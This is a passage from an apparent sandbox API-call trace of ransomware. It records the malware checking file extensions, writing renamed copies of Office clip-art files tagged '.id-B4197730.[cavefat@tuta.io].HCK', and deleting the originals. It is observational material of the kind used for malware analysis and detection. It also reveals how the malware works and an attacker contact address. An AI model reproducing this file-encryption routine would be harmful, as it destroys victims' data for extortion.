(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.263] lstrlenW (lpString=".zip") returned 4 [0157.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.263] lstrlenW (lpString=".rar") returned 4 [0157.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString=".bz2") returned 4 [0157.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString=".7z") returned 3 [0157.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.263] lstrlenW (lpString=".dbf") returned 4 [0157.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.263] lstrlenW (lpString=".1cd") returned 4 [0157.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0157.263] lstrlenW (lpString=".jpg") returned 4 [0157.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.263] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.263] lstrlenW (lpString="CLIP.WMF") returned 8 [0157.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.263] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2262) returned 1 [0157.263] CloseHandle (hObject=0x37c) returned 1 [0157.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0157.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.264] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.264] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.264] GetLastError () returned 0x0 [0157.264] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0157.265] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0157.266] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.266] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe4, lpOverlapped=0x0) returned 1 [0157.266] SetEndOfFile (hFile=0x384) returned 1 [0157.266] CloseHandle (hObject=0x384) returned 1 [0157.267] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.267] SetEndOfFile (hFile=0x37c) returned 1 [0157.268] CloseHandle (hObject=0x37c) returned 1 [0157.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0157.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.271] lstrlenW (lpString=".doc") returned 4 [0157.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString=".docx") returned 5 [0157.271] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0157.271] lstrlenW (lpString=".pdf") returned 4 [0157.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString=".xls") returned 4 [0157.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.271] lstrlenW (lpString=".xlsx") returned 5 [0157.271] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0157.271] lstrlenW (lpString=".ppt") returned 4 [0157.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.271] lstrlenW (lpString=".zip") returned 4 [0157.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.271] lstrlenW (lpString=".rar") returned 4 [0157.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString=".bz2") returned 4 [0157.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString=".7z") returned 3 [0157.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.271] lstrlenW (lpString=".dbf") returned 4 [0157.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.271] lstrlenW (lpString=".1cd") returned 4 [0157.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.271] lstrlenW (lpString=".jpg") returned 4 [0157.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.271] lstrlenW (lpString=".doc") returned 4 [0157.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString=".docx") returned 5 [0157.271] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0157.271] lstrlenW (lpString=".pdf") returned 4 [0157.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString=".xls") returned 4 [0157.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.271] lstrlenW (lpString=".xlsx") returned 5 [0157.271] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0157.271] lstrlenW (lpString=".ppt") returned 4 [0157.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.271] lstrlenW (lpString=".zip") returned 4 [0157.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.271] lstrlenW (lpString=".rar") returned 4 [0157.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.271] lstrlenW (lpString=".bz2") returned 4 [0157.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.272] lstrlenW (lpString=".7z") returned 3 [0157.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.272] lstrlenW (lpString=".dbf") returned 4 [0157.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.272] lstrlenW (lpString=".1cd") returned 4 [0157.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0157.272] lstrlenW (lpString=".jpg") returned 4 [0157.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.272] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.272] lstrlenW (lpString="CRANE.WMF") returned 9 [0157.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.272] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5270) returned 1 [0157.272] CloseHandle (hObject=0x37c) returned 1 [0157.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0157.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.272] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.272] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.273] GetLastError () returned 0x0 [0157.273] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1496, lpOverlapped=0x0) returned 1 [0157.274] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0157.275] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.275] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe6, lpOverlapped=0x0) returned 1 [0157.275] SetEndOfFile (hFile=0x384) returned 1 [0157.275] CloseHandle (hObject=0x384) returned 1 [0157.276] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.276] SetEndOfFile (hFile=0x37c) returned 1 [0157.277] CloseHandle (hObject=0x37c) returned 1 [0157.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.278] lstrlenW (lpString=".doc") returned 4 [0157.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.278] lstrlenW (lpString=".docx") returned 5 [0157.278] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0157.278] lstrlenW (lpString=".pdf") returned 4 [0157.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.278] lstrlenW (lpString=".xls") returned 4 [0157.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.278] lstrlenW (lpString=".xlsx") returned 5 [0157.278] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0157.278] lstrlenW (lpString=".ppt") returned 4 [0157.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.278] lstrlenW (lpString=".zip") returned 4 [0157.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.278] lstrlenW (lpString=".rar") returned 4 [0157.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.278] lstrlenW (lpString=".bz2") returned 4 [0157.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.278] lstrlenW (lpString=".7z") returned 3 [0157.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.278] lstrlenW (lpString=".dbf") returned 4 [0157.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.279] lstrlenW (lpString=".1cd") returned 4 [0157.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.279] lstrlenW (lpString=".jpg") returned 4 [0157.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.279] lstrlenW (lpString=".doc") returned 4 [0157.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.279] lstrlenW (lpString=".docx") returned 5 [0157.279] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0157.279] lstrlenW (lpString=".pdf") returned 4 [0157.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.279] lstrlenW (lpString=".xls") returned 4 [0157.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.279] lstrlenW (lpString=".xlsx") returned 5 [0157.279] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0157.279] lstrlenW (lpString=".ppt") returned 4 [0157.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.279] lstrlenW (lpString=".zip") returned 4 [0157.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.279] lstrlenW (lpString=".rar") returned 4 [0157.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.279] lstrlenW (lpString=".bz2") returned 4 [0157.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.279] lstrlenW (lpString=".7z") returned 3 [0157.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.279] lstrlenW (lpString=".dbf") returned 4 [0157.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.279] lstrlenW (lpString=".1cd") returned 4 [0157.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0157.279] lstrlenW (lpString=".jpg") returned 4 [0157.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.279] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.279] lstrlenW (lpString="CRANINST.WMF") returned 12 [0157.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.280] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=49546) returned 1 [0157.280] CloseHandle (hObject=0x37c) returned 1 [0157.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0157.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0157.280] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.280] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0157.280] GetLastError () returned 0x0 [0157.280] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xc18a, lpOverlapped=0x0) returned 1 [0157.282] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xc190, lpOverlapped=0x0) returned 1 [0157.284] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.284] WriteFile (in: hFile=0x384, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.284] SetEndOfFile (hFile=0x384) returned 1 [0157.284] CloseHandle (hObject=0x384) returned 1 [0157.285] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.285] SetEndOfFile (hFile=0x37c) returned 1 [0157.286] CloseHandle (hObject=0x37c) returned 1 [0157.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0157.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.287] lstrlenW (lpString=".doc") returned 4 [0157.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.287] lstrlenW (lpString=".docx") returned 5 [0157.287] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0157.287] lstrlenW (lpString=".pdf") returned 4 [0157.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.287] lstrlenW (lpString=".xls") returned 4 [0157.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.287] lstrlenW (lpString=".xlsx") returned 5 [0157.287] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0157.287] lstrlenW (lpString=".ppt") returned 4 [0157.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.287] lstrlenW (lpString=".zip") returned 4 [0157.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.287] lstrlenW (lpString=".rar") returned 4 [0157.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.287] lstrlenW (lpString=".bz2") returned 4 [0157.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.287] lstrlenW (lpString=".7z") returned 3 [0157.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.287] lstrlenW (lpString=".dbf") returned 4 [0157.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.287] lstrlenW (lpString=".1cd") returned 4 [0157.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.287] lstrlenW (lpString=".jpg") returned 4 [0157.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.287] lstrlenW (lpString=".doc") returned 4 [0157.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.287] lstrlenW (lpString=".docx") returned 5 [0157.287] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0157.287] lstrlenW (lpString=".pdf") returned 4 [0157.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.288] lstrlenW (lpString=".xls") returned 4 [0157.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.288] lstrlenW (lpString=".xlsx") returned 5 [0157.288] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0157.288] lstrlenW (lpString=".ppt") returned 4 [0157.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68 [0157.288] lstrlenW (lpString=".zip") returned 4 [0157.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.288] lstrlenW (lpString=".rar") returned 4 [0157.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.288] lstrlenW (lpString=".bz2") returned 4 [0157.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.288] lstrlenW (lpString=".7z") returned 3 [0157.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.288] lstrlenW (lpString="C:\\Program Files\\Microsoft 